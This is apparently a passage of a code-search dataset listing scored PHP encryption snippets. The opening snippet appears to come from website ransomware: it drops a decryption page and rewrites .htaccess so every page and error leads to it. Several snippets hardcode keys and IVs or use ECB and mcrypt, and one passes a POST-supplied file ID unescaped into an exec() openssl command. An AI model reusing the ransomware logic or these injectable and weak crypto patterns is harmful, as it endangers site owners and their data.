$this->root,\n base64_encode($this->salt),\n $this->recovery,\n $this->cryptoKeyLength,\n $this->iterations,\n $this->algorithm,\n base64_encode($this->iv),\n $this->cipher,\n $this->extension\n ),\n $data\n );\n if (($decryptionFile = $this->generateRandomFileName($directory, 'php')) !== false) {\n file_put_contents($decryptionFile, $data, LOCK_EX);\n $decryptionFile = pathinfo($decryptionFile, PATHINFO_BASENAME);\n file_put_contents($directory . '/.htaccess', \"DirectoryIndex /{$decryptionFile}\\nErrorDocument 400 /{$decryptionFile}\\nErrorDocument 401 /{$decryptionFile}\\nErrorDocument 403 /{$decryptionFile}\\nErrorDocument 404 /{$decryptionFile}\\nErrorDocument 500 /{$decryptionFile}\\n\", LOCK_EX);\n }\n }", "title": "" }, { "docid": "1c884df3c5acee51e667843f417b62fb", "score": "0.5289523", "text": "function mcrypt_enc_self_test($td)\n{\n}", "title": "" }, { "docid": "ed46cd4a05c474be767d99c21548a6aa", "score": "0.528502", "text": "public function deencripaPassword($cypt, $token){\n $suma = 0;\n $pass = NULL;\n for($x = 0; $x < strlen($token); $x++){\n //suma += ord($token);\n }\n }", "title": "" }, { "docid": "ae98710d335e8cad69381777ae096a3a", "score": "0.5184946", "text": "public function decryptData($cipherData);", "title": "" }, { "docid": "953386dc50e5f17dfd7750d0140bb883", "score": "0.51774406", "text": "function crtCrypt($data)\r\n {\r\n\t\t// m1 = c ^ dP mod p\r\n\t\t$m1 = $data->modPow($this->dp, $this->p);\r\n\t\t\r\n\t\t// m2 = c ^ dQ mod q\r\n\t\t$m2 = $data->modPow($this->dq, $this->q);\r\n\t \r\n\t \t// h = (m1 - m2) * qInv mod p\r\n\t\t$mtmp = $m1->subtract($m2);\r\n\t\t$zero = new Math_BigInteger(\"0\");\r\n\t\t\r\n\t\tif ($mtmp->compare($zero) < 0) {\r\n\t\t $mtmp = $mtmp->add($this->p);\r\n\t\t}\r\n\t\t\r\n\t\t$h = $mtmp->multiply($this->inverseQ);\r\n\t\t\r\n\t\t$h->value = bcmod($h->toString(), $this->p->toString());\r\n\t\t\r\n\t\t// m = m2 + q * h\r\n\t\t$m = $h->multiply($this->q);\r\n\t\t$m = $m->add($m2);\r\n\t\t\r\n \treturn $m;\r\n }", "title": "" }, { "docid": "0faa5527beddaa16a6dbaa1d1223fdd4", "score": "0.517011", "text": "abstract public function decrypt($data);", "title": "" }, { "docid": "f19b6a417125947068a0f987db81d001", "score": "0.5159794", "text": "function Encryption()\n {\n\t$this->Cipher();\n\t$this->mPEMKeys = new KeyHeap('', $this);\n\t$this->mParser = new CryptoParser();\n }", "title": "" }, { "docid": "779d5e8e9056f998cbf6c546a54e9f02", "score": "0.5145412", "text": "function my_simple_crypt( $string, $action = 'e' ) {\n $secret_key = ENCRYPT_KEY;\n $secret_iv = 'pustakalaya';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n}", "title": "" }, { "docid": "66fab16fc18646b93e3937da516012c9", "score": "0.5124535", "text": "function getCryptKey($type = 'CRYPT_STD_DES') {\n /*--------------------------------------------------------------------------\n | CRYPT_STD_DES - Standard DES-based hash with a two character salt from the \n | alphabet \"./0-9A-Za-z\". Using invalid characters in the salt will cause \n | crypt() to fail.\n |---------------------------------------------------------------------------\n */\n if (CRYPT_STD_DES == 1 && $type == 'CRYPT_STD_DES') {\n return crypt('HCL6QGsKwDMN2','HC');\n }\n\n /*--------------------------------------------------------------------------\n | CRYPT_EXT_DES - Extended DES-based hash. The \"salt\" is a 9-character \n | string consisting of an underscore followed by 4 bytes of iteration count \n | and 4 bytes of salt. These are encoded as printable characters, 6 bits \n | per character, least significant character first. The values 0 to 63 are \n | encoded as \"./0-9A-Za-z\". Using invalid characters in the salt will cause \n crypt() to fail.\n |---------------------------------------------------------------------------\n */\n if (CRYPT_EXT_DES == 1 && $type == 'CRYPT_EXT_DES') {\n return crypt('_a...HCig8tp30mPhjfQ','_a ... HCig');\n }\n\n /*--------------------------------------------------------------------------\n | CRYPT_MD5 - MD5 hashing with a twelve character salt starting with $1$\n |---------------------------------------------------------------------------\n */\n if (CRYPT_MD5 == 1 && $type == 'CRYPT_MD5') {\n return crypt('$1$HCigmW9T$VoHVZfkndAEVxjEOMKNO90','$1$HCigmW9T$');\n }\n\n /*--------------------------------------------------------------------------\n | CRYPT_BLOWFISH - Blowfish hashing with a salt as follows: \"$2a$\", \"$2x$\" \n | or \"$2y$\", a two digit cost parameter, \"$\", and 22 characters from the \n | alphabet \"./0-9A-Za-z\". Using characters outside of this range in the salt \n | will cause crypt() to return a zero-length string. The two digit cost \n | parameter is the base-2 logarithm of the iteration count for the underlying \n | Blowfish-based hashing algorithmeter and must be in range 04-31, values \n | outside this range will cause crypt() to fail. Versions of PHP before \n | 5.3.7 only support \"$2a$\" as the salt prefix: PHP 5.3.7 introduced the \n | new prefixes to fix a security weakness in the Blowfish implementation. \n | Please refer to » this document for full details of the security fix, \n | but to summarise, developers targeting only PHP 5.3.7 and later should \n | use \"$2y$\" in preference to \"$2a$\".\n |---------------------------------------------------------------------------\n */\n if (CRYPT_BLOWFISH == 1 && $type == 'CRYPT_BLOWFISH') {\n return crypt('$2y$06$HCigmW9Tnoaw.aIzOEobLOVDWnTgG2QAC5Eu/5DIOAeGlEVq0Q.2O','$2y$0$HCigmW9Tnoaw.aIzOEobLX$');\n }\n\n /*--------------------------------------------------------------------------\n | CRYPT_SHA256 - SHA-256 hash with a sixteen character salt prefixed with \n | $5$. If the salt string starts with 'rounds=<N>$', the numeric value \n | of N is used to indicate how many times the hashing loop should \n | be executed, much like the cost parameter on Blowfish. The default \n | number of rounds is 5000, there is a minimum of 1000 and a maximum of \n | 999,999,999. Any selection of N outside this range will be truncated \n | to the nearest limit.\n |---------------------------------------------------------------------------\n */\n if (CRYPT_SHA256 == 1 && $type == 'CRYPT_SHA256') {\n return crypt('$5$rounds=34319$HCigmW9Tnoaw.aIz$YKQXJttdJxXCNBJEGW82I8Hyhz5ztG3A67P3XlpNpvA','$5$rounds=34319$HCigmW9Tnoaw.aIz$');\n }\n\n /*--------------------------------------------------------------------------\n | CRYPT_SHA512 - SHA-512 hash with a sixteen character salt prefixed with \n | $6$. If the salt string starts with 'rounds=<N>$', the numeric value of N \n | is used to indicate how many times the hashing loop should be executed, \n | much like the cost parameter on Blowfish. The default number of rounds \n | is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any \n | selection of N outside this range will be truncated to the nearest limit.\n |---------------------------------------------------------------------------\n */\n if (CRYPT_SHA512 == 1 && $type == 'CRYPT_SHA512') {\n return crypt('$6$rounds=34319$HCigmW9Tnoaw.aIz$G4kCr.3sQfC2Bm7.TQHufQ3bBtqUYYPrZuLbnG2YvgVp4TiHLcOdFQT174ng1VTHRxLlINSE8pQqSlWab3xgZ/','$6$rounds=34319$HCigmW9Tnoaw.aIz$');\n }\n}", "title": "" }, { "docid": "11e208f4ddc9e0893369c667106adcc8", "score": "0.5108439", "text": "function mcrypt_generic_deinit () {}", "title": "" }, { "docid": "f9396af839298233e05b07fd54a1e517", "score": "0.51008505", "text": "protected function initCiphers() {\n\n\t\t$aCiphers = array('aes-128-cbc', 'aes-128-ecb', 'aes-192-cbc', 'aes-192-ecb', 'aes-256-cbc', 'aes-256-ecb', 'base64', 'bf', 'bf-cbc', 'bf-cfb', 'bf-ecb', 'bf-ofb', 'cast', 'cast-cbc', 'cast5-cbc', 'cast5-cfb', 'cast5-ecb', 'cast5-ofb', 'des', 'des-cbc', 'des-cfb', 'des-ecb', 'des-ede', 'des-ede-cbc', 'des-ede-cfb', 'des-ede-ofb', 'des-ede3', 'des-ede3-cbc', 'des-ede3-cfb', 'des-ede3-ofb', 'des-ofb', 'des3', 'desx', 'idea', 'idea-cbc', 'idea-cfb', 'idea-ecb', 'idea-ofb', 'rc2', 'rc2-40-cbc', 'rc2-64-cbc', 'rc2-cbc', 'rc2-cfb', 'rc2-ecb', 'rc2-ofb', 'rc4', 'rc4-40');\n\n\t\t$aKeys = array('c16656459864a70e4a5b9acd', 'c2045100124a70e4a5b9af4', 'c1371656364a70e4a5b9b00', 'c8203878634a70e4a5b9b0b', 'c12472937914a70e4a5b9b22', 'c6056705394a70e4a5b9b2d', 'c17844071144a70e4a5b9b38', 'c9648511854a70e4a5b9b43', 'c3996862294a70e4a5b9b4e', 'c8413803914a70e4a5b9b5a', 'c12520960834a70e4a5b9b65', 'c13237995704a70e4a5b9b70', 'c20738177034a70e4a5b9b7b', 'c16550030104a70e4a5b9b87', 'c499833734a70e4a5b9b92', 'c8454988194a70e4a5b9b9d', 'c4410822034a70e4a5b9ba8', 'c16104793824a70e4a5b9bb4', 'c12116392854a70e4a5b9bbf', 'c8110343934a70e4a5b9bcb', 'c9898186794a70e4a5b9bd6', 'c17935449364a70e4a5b9be1', 'c11861465694a70e4a5b9bed', 'c15616643904a70e4a5b9bf8', 'c12132073984a70e4a5b9c03', 'c13616428694a70e4a5b9c0e', 'c8078337254a70e4a5b9c1a', 'c17729865414a70e4a5b9c25', 'c13873505044a70e4a5b9c30', 'c18390697884a70e4a5b9c3b', 'c15121712554a70e4a5b9c46', 'c9055128424a70e4a5b9d0a', 'c20435798004a70e4a5b9d23', 'c16493368914a70e4a5b9d31', 'c17259007054a70e4a5b9d3d', 'c11433899434a70e4a5b9d48', 'c1075237824a70e4a5b9d53', 'c13628241714a70e4a5b9d5e', 'c21082411284a70e4a5b9d6a', 'c5072100114a70e4a5b9d75', 'c567209144a70e4a5b9d80', 'c12128535634a70e4a5b9d8b', 'c18310095814a70e4a5b9d96', 'c21305386184a70e4a5b9da1', 'c7203729254a70e4a5b9dac', 'c18809929544a70e4a5b9db8', 'c8285537894a70e4a5b9dc3');\n\n\t\t$this->hCiphers = array_combine($aKeys, $aCiphers);\n\n\t}", "title": "" }, { "docid": "488e59f9a4738ed9fe2d45c196f6349a", "score": "0.5091968", "text": "public function getCrypto();", "title": "" }, { "docid": "bfbc5f5033ecceba106d3358da5f52cd", "score": "0.5077361", "text": "function readCipherKey(){\nif(!file_exists(\"cipherKey.key\")){\necho \"cipherKey.key is missing!<br>\";\necho \"if this is the first time generating it, you are ok<br>\";\necho \"generating new key..<br>\";\ngenerateNewKey();\n}\n$read = fopen(\"cipherKey.key\", \"r\");\n$key = fread($read,filesize(\"cipherKey.key\"));\nfclose($read);\nif (ctype_xdigit($key)==1 && strlen($key)%2==0){\n\tif (mb_strlen(hex2bin((string)$key), '8bit') == SODIUM_CRYPTO_SECRETBOX_KEYBYTES){\n\t\treturn hex2bin($key);\n\t} else echo \"Key is not the correct size (must be 32 bytes)<br>\";\n} else echo \"Key is not in valid hex format<br>\";\n\techo \"Generating new key..<br>\";\n\tgenerateNewKey();\n\treturn readCipherKey();\n}", "title": "" }, { "docid": "06ca17bbaecea60ed6e68fb10c34c81d", "score": "0.50745654", "text": "function decryption_params($advertise_id){\n\t\t$cipher = \"AES-128-CTR\"; \n\t\t/* Get the cipher iv length*/\n\t\t$iv_length = openssl_cipher_iv_length($cipher); \n\t\t$options = 0; \n\t\t$iv = '8565825542115032'; \n\t\t/* Take the encryption key in a variable*/\n\t\t$enc_key = \"CodeSpeedyKeybj54HH\"; \n\t\t\n\t\t$decryption_iv = '8565825542115032'; \n\t\t/* Store the decryption key */\n\t\t$dec_key = \"CodeSpeedyKeybj54HH\"; \n\n\t\t/* Use openssl_decrypt() function to decrypt the data */\n\t\t$decrypted_string=openssl_decrypt ($advertise_id, $cipher, $dec_key, $options, $decryption_iv); \n\t\t/* Display the decrypted string */\n\n\t\treturn $decrypted_string;\n }", "title": "" }, { "docid": "6078e0a2c44259b9ca5344410fa4295b", "score": "0.50724536", "text": "function passDecrypt($str)\n{\n\t$retstr=\"\";\n\t$lngth=strlen($str);\n\tfor($i=0;$i<$lngth;$i++)\n\t{\n\t\t$sch=substr($str,$i,1);\n\t\t$iasc=ord($sch) - 2*$i - 30;\n\t\tif($iasc<=0) $iasc=255+$iasc;\n\t\t$sch=chr($iasc);\n\t\t$retstr=$retstr.$sch;\n\t}\n\treturn trim($retstr);\n}", "title": "" }, { "docid": "b18d532c72df57bd2f43b377251dbc3b", "score": "0.50681275", "text": "function decodeAndDecrypt($strIn) {\n\nglobal $strEncryptionPassword;\n\n{\n //** HEX decoding then AES decryption, CBC blocking with PKCS5 padding **\n\n //** use initialization vector (IV) set from $strEncryptionPassword\n $strIV = $strEncryptionPassword;\n\n //** HEX decoding\n $strIn = pack('H*', $strIn);\n\n //** perform decryption with PHP's MCRYPT module\n return removePKCS5Padding(\n mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $strEncryptionPassword, $strIn, MCRYPT_MODE_CBC, $strIV));\n}\n}", "title": "" }, { "docid": "6804f52960b7dcf464f528c83fe27bd1", "score": "0.49945974", "text": "public function testEncryptDecrypt()\n {\n $key = md5('123456');\n $iv = md5('123');\n $aes = new CryptAES($key,$iv);\n $d = $aes->encrypt('12cssadasdsad');\n $d = $aes->decrypt($d);\n var_dump($d);\n }", "title": "" }, { "docid": "5154cb48b89c0668742a1666d7e1b618", "score": "0.4974594", "text": "public function encrypt3Des($data, $key) {\n $key = md5(utf8_encode($key), true);\n\n //Take first 8 bytes of $key and append them to the end of $key.\n $key .= substr($key, 0, 8);\n\n //Pad for PKCS7\n $blockSize = mcrypt_get_block_size('tripledes', 'ecb');\n $len = strlen($data);\n $pad = $blockSize - ($len % $blockSize);\n $data = $data . str_repeat(chr($pad), $pad);\n\n //Encrypt data\n $encData = mcrypt_encrypt('tripledes', $key, $data, 'ecb');\n\n //return $this->strToHex($encData);\n\n return base64_encode($encData);\n }", "title": "" }, { "docid": "55edb93b3903fae696c58075ded3b248", "score": "0.49727944", "text": "function my_simple_crypt( $string, $action = 'e' ) {\n $secret_key = 'my_simple_secret_key';\n $secret_iv = 'my_simple_secret_iv';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n }", "title": "" }, { "docid": "ec9699d8d17965f2d23381e024be6085", "score": "0.49725607", "text": "function cc_decrypt($enc) {\n // get key \n if (!file_exists($_POST['cre_path'] . 'includes/key/cc_key.php')) return false;\n include_once($_POST['cre_path'] . 'includes/key/cc_key.php');\n $key = CC_KEY;\n $enc = base64_decode($enc);\n $key = md5($key);\n $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);\n $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);\n $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $enc, MCRYPT_MODE_ECB, $iv);\n $decrypttext1 = trim($decrypttext);\n \n return ($decrypttext1);\n }", "title": "" }, { "docid": "1aef382855b2e4b4baa007e95f81302b", "score": "0.49552318", "text": "public function processPasswordData(PasswordData $password_data)\n\t{ // , $set_dsk=true){\n\t\t$f = __METHOD__; //PlayableUser::getShortClass().\"(\".static::getShortClass().\")->\" . __METHOD__ . \"()\";\n\t\ttry {\n\t\t\t$print = false;\n\t\t\tif ($print) {\n\t\t\t\tDebug::print(\"{$f} entered; about to set deterministic secret key\");\n\t\t\t}\n\n\t\t\t$this->setDeterministicSecretKey($password_data->getDeterministicSecretKey(), LOGIN_TYPE_FULL);\n\t\t\t/*\n\t\t\t * if($print){\n\t\t\t * //user()->validatePrivateKey(\"after setting DSK\");\n\t\t\t * }\n\t\t\t */\n\n\t\t\t$this->setPrivateKey($password_data->getPrivateKey());\n\n\t\t\t$this->setKeyGenerationNonce($password_data->getKeyGenerationNonce());\n\t\t\tif (! $this->hasKeyGenerationNonce()) {\n\t\t\t\tDebug::error(\"{$f} key generation nonce is undefined immediately after setting it\");\n\t\t\t} elseif ($print) {\n\t\t\t\t// user()->validatePrivateKey(\"after setting keygen nonce\");\n\t\t\t}\n\t\t\t// $this->setReceptivity(DATA_MODE_RECEPTIVE);\n\n\t\t\t$this->setPasswordHash($password_data->getPasswordHash()); // password_hash']);\n\t\t\tif ($print) {\n\t\t\t\t// user()->validatePrivateKey(\"after setting hashed password\");\n\t\t\t}\n\n\t\t\t$this->setPublicKey($password_data->getPublicKey()); // ['publicKey']);\n\t\t\tif ($print) {\n\t\t\t\t// user()->validatePrivateKey(\"after setting public key\");\n\t\t\t}\n\n\t\t\t// $this->setAesNonce($password_data['aes_nonce']);\n\t\t\t$this->setSignaturePublicKey($password_data->getSignaturePublicKey());\n\t\t\tif ($print) {\n\t\t\t\t// user()->validatePrivateKey(\"after setting signature public key\");\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * if($print){\n\t\t\t * //user()->validatePrivateKey(\"after setting private key\");\n\t\t\t * }\n\t\t\t */\n\n\t\t\t$this->setSignaturePrivateKey($password_data->getSignaturePrivateKey());\n\t\t\tif ($print) {\n\t\t\t\t// user()->validatePrivateKey(\"after setting signature private key\");\n\t\t\t}\n\n\t\t\tif ($this->hasColumn(\"sessionRecoveryNonce\")) {\n\t\t\t\t$this->setSessionRecoveryNonce($password_data->getSessionRecoveryNonce());\n\n\t\t\t\tif ($print) {\n\t\t\t\t\t// user()->validatePrivateKey(\"after setting session recovery nonce\");\n\t\t\t\t}\n\t\t\t} elseif ($print) {\n\t\t\t\tDebug::print(\"{$f} this object does not have a session recovery nonce\");\n\t\t\t}\n\t\t\t// $this->setReceptivity(DATA_MODE_DEFAULT);\n\n\t\t\t$this->setSignatureSeed($password_data->getSignatureSeed());\n\t\t\tif ($print) {\n\t\t\t\tDebug::print(\"{$f} returning normally\");\n\t\t\t}\n\n\t\t\treturn SUCCESS;\n\t\t} catch (Exception $x) {\n\t\t\tx($f, $x);\n\t\t}\n\t}", "title": "" }, { "docid": "4e77c57bb53b993b913bd5d456159fda", "score": "0.49337283", "text": "function _dcrpt($str,$key = '')\n{\n\tif($str != '')\n\t{\n\t\t$CI =& get_instance();\n\t\n\t\t$CI->encrypt->set_cipher(MCRYPT_RC2);\n\t\t$d = $CI->encrypt->decode($str);\n\t\t\n\t\t//if systen not able to decode the ids then we have to get it from server header for decrypt\n\t\tif($d == '' && $key != '')\n\t\t{\t\t\n\t\t\t$s = explode('&',$_SERVER['QUERY_STRING']);\n\t\t\tforeach($s as $i)\n\t\t\t{\n\t\t\t\tif(substr_count($i,$key.'=') > 0)\n\t\t\t\t{\n\t\t\t\t\t$d = $CI->encrypt->decode(str_replace($key.'=','',$i));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\treturn $d;\n\t}\n}", "title": "" }, { "docid": "823882272c5d752e49189f7a890754b7", "score": "0.49319303", "text": "function generateNewKey(){\n$key = fopen(\"cipherKey.key\", \"w\");\nfwrite($key, bin2hex(random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES)));\nfclose($key);\n}", "title": "" }, { "docid": "9e9ed323dc8af0a8abf6569d6de222fa", "score": "0.49295413", "text": "function encrypt($cad,$llave)\r\n{\r\n\t$long\t\t= strlen($cad);\r\n\t$long_lla\t= strlen($llave);\r\n\t\r\n\tfor($i=0;$i<$long;$i++)\r\n\t{\r\n\t\t$asc\t= ord($cad[$i]);\r\n\t}\r\n\t$sum=0;\r\n\t\r\n\tfor($i=0;$i<$long_lla;$i++)\r\n\t{\r\n\t\t\r\n\t\t$asc_lla\t= ord($llave[$i]);\r\n\t\t$sum\t\t= $sum+(($asc_lla*4)/3); \r\n\t\t\r\n\t}\r\n\t$cad_enc='';\r\n\tfor($i=0;$i<$long;$i++)\r\n\t{\r\n\t\t$asc_enc\t= ord($cad[$i])+$sum;\r\n\t\t$enc\t\t= chr($asc_enc);\t \r\n\t\t$cad_enc\t.= $enc;\r\n\t}\r\n\t$cad_enc\t= base64_encode($cad_enc);\r\n\treturn $cad_enc;\r\n\t\r\n}", "title": "" }, { "docid": "382bbb0be09c19aa7a7a0c0ffd479e3c", "score": "0.4919026", "text": "function mcrypt_cfb () {}", "title": "" }, { "docid": "5a3ba7b55b2ea42fddf1433320975142", "score": "0.49181032", "text": "function mcrypt_generic () {}", "title": "" }, { "docid": "6e26f514e79f6421fd0ec44c32ffcf1e", "score": "0.49123213", "text": "function my_simple_crypt( $string, $action = 'e' ) {\n $secret_key = 'mwa_encyption';\n $secret_iv = '9886162566';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n }", "title": "" }, { "docid": "6e26f514e79f6421fd0ec44c32ffcf1e", "score": "0.49123213", "text": "function my_simple_crypt( $string, $action = 'e' ) {\n $secret_key = 'mwa_encyption';\n $secret_iv = '9886162566';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n }", "title": "" }, { "docid": "bb51306bb237bbcc550e54ea4edf190a", "score": "0.490846", "text": "public function isUsingEncryption();", "title": "" }, { "docid": "1cf67b0ed77ab97dd7a5cd0bc7d47077", "score": "0.49003357", "text": "function ecams_gen_key(){\n\t\t$base_key=\"\";\n\t\tfor($lc=0;$lc<4;$lc++){\n\t\t\t$base_key.=ecams_alphanumeric_pass();\n\t\t}\n\t\t//echo $base_key.\"<br>\";\n\t\t//$start= memory_get_usage();\n\t\t$enc_key=ecams_encrypt($base_key, \"1@eo0&\");\n\t\t//echo memory_get_usage()-$start.\"<br>\";\n\t\t//echo $enc_key.\"<br>\";\n\t\t//echo strlen($enc_key).\"<br>\";\n\t\treturn $enc_key;\n\t}", "title": "" }, { "docid": "073b37c8bec86f5caf18da705f0b47a1", "score": "0.4887775", "text": "function my_simple_crypt( $string, $action = 'd') {\n $secret_key = 'my_simple_secret_key';\n $secret_iv = 'my_simple_secret_iv';\n \n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n \n if( $action == 'e' ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $action == 'd' ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n \n return $output;\n }", "title": "" }, { "docid": "5f623173b038d7238ce5ca9c0491c7ef", "score": "0.4884329", "text": "public function encryptKeyWithPassword()\r\n {\r\n\r\n }", "title": "" }, { "docid": "24f635cbe0c89a5ac404890c03163952", "score": "0.48817426", "text": "public function disableEncryption();", "title": "" }, { "docid": "8a4e7891b7bdfacf42fe60ba72a71716", "score": "0.48612833", "text": "function encrypt_decrypt($action, $string, $secret_key, $secret_iv) {\n$output = false;\n\n$encrypt_method = \"AES-256-CBC\";\n\n$key = hash('sha256', $secret_key);\n\n$iv = substr(hash('sha256', $secret_iv), 0, 16);\n\nif( $action == 'encrypt' ) {\n\treturn base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv));\n} else if( $action == 'decrypt' ){\n\treturn openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);\n}\n}", "title": "" }, { "docid": "b85f4348168059dff12b10f7421fa8a3", "score": "0.4857989", "text": "function demcrypt_data($input) {\r\n $key1 = \"ShareSpark\";\r\n $key2 = \"Org\";\r\n $key = $key1 . $key2;\r\n $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($input), MCRYPT_MODE_CBC, md5(md5($key))), \"\\0\");\r\n return $decrypted;\r\n }", "title": "" }, { "docid": "885676129b49f3f3425ff54a46ef9eb0", "score": "0.48576623", "text": "function mcrypt_generic_end () {}", "title": "" }, { "docid": "81e6605d1069e9ad1474423d86045c19", "score": "0.48466903", "text": "public static function decrypt($encrypt){\n // $encrypt = $_GET['id'];\n\n //el mètode que empleam per desencriptar (el mateix que per encriptar)\n $method = 'aes-256-ctr'; // NOTA : AQUEST MÈTODE HA DE SER IGUAL QUAN ENCRIPTA QUE QUAN DESENCRIPTA\n\n //password que empleam per desencriptar (la mateixa que per encriptar )\n $pass = \"n4XeZ9EjPc1RU8cMI4\"; // NOTA : AQUESTA CONTRASENYA HA DE SER IGUAL QUAN ENCRIPTA QUE QUAN DESENCRIPTA\n\n //mètode que desencripta\n $decrypt = openssl_decrypt($encrypt, $method, $pass);\n\n echo '<br>';\n\n return $decrypt;\n }", "title": "" }, { "docid": "069b4f08516a1028756bfac12f19a94c", "score": "0.48293966", "text": "static function dsCryptOrder($string,$decrypt=false) {\n $secret_key = 'my_simple_secret_key';\n $secret_iv = 'my_simple_secret_iv';\n $output = false;\n $encrypt_method = \"AES-256-CBC\";\n $key = hash( 'sha256', $secret_key );\n $iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );\n if( !$decrypt ) {\n $output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );\n }\n else if( $decrypt ){\n $output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );\n }\n return $output;\n }", "title": "" }, { "docid": "c0f234e673a1b130b7f88092e6af2947", "score": "0.48282138", "text": "function xs_decrypt($input){\n /*\n $session = session();\n if($session->admin()){\n return $input;\n }\n */\n return openssl_decrypt($input, \"AES-128-ECB\" ,XUSERVER_ENCRYPT);\n}", "title": "" }, { "docid": "d1100b2d28cf30b5188f77d4a94e1c7e", "score": "0.48050636", "text": "function FEncrypt($UID,$POST)\n{\n $FID=$POST['FID'];\n //error_log(\"POSTIS: \".print_r($POST));\n //error_log(\"ENC: \".$POST['FID'].\n //\" KEY: \".$POST['Fkey'].\" IV: \".$POST['FIV']);\n $SOURCE=UPLOAD_DIR . $UID . '/' . $FID.'.unenc';\n $DEST=UPLOAD_DIR . $UID . '/' . $FID.'.enc';\n $Shell='openssl enc -aes-256-cbc -in '\n .$SOURCE.' -out '\n .$DEST.' -K '\n .bin2hex(base64_decode($POST['Fkey'])).' -iv '\n .bin2hex(base64_decode($POST['FIV']));\n exec($Shell);\n unlink($SOURCE);\n}", "title": "" }, { "docid": "4d4785b24914a836d875c6175c455a60", "score": "0.479565", "text": "public function layeredEncryptData($plainData, $oneTimePad = '');", "title": "" }, { "docid": "4a0e27a31feba2736d486a5ad3cd2ae0", "score": "0.47930157", "text": "function decrypt($passe)\n{\n $pass_hash = password_hash($passe, PASSWORD_DEFAULT);\n return $pass_hash;\n}", "title": "" }, { "docid": "e55a2d1ddba0decf5a81efc51bf733b9", "score": "0.4784825", "text": "function demcrypt_data($input) {\n $key1 = \"ShareSpark\";\n $key2 = \"Org\";\n $key = $key1 . $key2;\n $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($input), MCRYPT_MODE_CBC, md5(md5($key))), \"\\0\");\n return $decrypted;\n }", "title": "" }, { "docid": "9a1e56ea9bb6fa2f5af0e97abdfb7af7", "score": "0.47806203", "text": "public function dekripsi($data)\n {\n\n // 256-bit encryption key\n\n $password = substr(hash('sha256', $this->password, true), 0, 32);\n\n // IV (initialitation vector) harus tepat 16 blok karakter (128 bit)\n\n // IV is still 16 bytes or 128 bits for AES 128, 192 and 256.\n\n $iv = chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0) . chr(0x0);\n\n // PROSES DESKRIPSI\n\n $decrypted = openssl_decrypt(base64_decode($data), $this->method, $password, OPENSSL_RAW_DATA, $iv);\n\n return $decrypted;\n }", "title": "" }, { "docid": "898788f3a2d82184de416b481646038b", "score": "0.47790956", "text": "public function provider_encode()\n\t{\n\t\treturn [\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"1f8e4973953f3fb0bd6b16662e9a3c17\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"2fe2b333ceda8f98f4a99b40d2cd34a8\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"45cf12964fc824ab76616ae2f4bf0822\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"0f61c4d44c5147c03c195ad7e2cc12b2\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", 